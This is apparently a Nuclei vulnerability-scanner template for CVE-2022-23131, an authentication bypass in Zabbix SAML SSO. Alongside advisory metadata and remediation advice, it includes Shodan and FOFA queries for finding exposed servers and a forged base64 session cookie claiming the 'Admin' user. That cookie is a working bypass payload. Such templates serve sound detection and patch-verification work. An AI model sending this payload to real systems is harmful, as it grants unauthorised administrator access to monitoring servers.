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id : CVE-2022-23131
info :
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name : Zabbix - SAML SSO Authentication Bypass
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author : For3stCo1d,spac3wh1te
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severity : critical
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description : When SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor because a user login stored in the session was not verified.
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remediation : Upgrade to 5.4.9rc2, 6.0.0beta1, 6.0 (plan) or higher.
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reference :
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- https://support.zabbix.com/browse/ZBX-20350
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- https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage
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- https://nvd.nist.gov/vuln/detail/CVE-2022-23131
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- https://github.com/1mxml/CVE-2022-23131
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 9.8
cve-id : CVE-2022-23131
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cwe-id : CWE-290
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epss-score : 0.96928
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epss-percentile : 0.99649
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cpe : cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
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metadata :
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max-request : 2
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vendor : zabbix
product : zabbix
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shodan-query : http.favicon.hash:892542951
fofa-query : app="ZABBIX-监控系统" && body="saml"
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tags : cve,cve2022,zabbix,auth-bypass,saml,sso,kev
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http :
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- method : GET
path :
- "{{BaseURL}}/zabbix/index_sso.php"
- "{{BaseURL}}/index_sso.php"
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stop-at-first-match : true
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headers :
Cookie : "zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9"
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matchers-condition : and
matchers :
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- type : dsl
dsl :
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- "contains(tolower(header), 'location: zabbix.php?action=dashboard.view')"
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- type : status
status :
- 302
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# digest: 490a0046304402206206b2283160c69da961c0bcee854a4404f0038354d0bba156c46461ddad5e2b02200a504e3f61afd23009d5b81c25122f40bcef0f08c799d3a721d23c263875c311:922c64590222798bb761d5b6d8e72950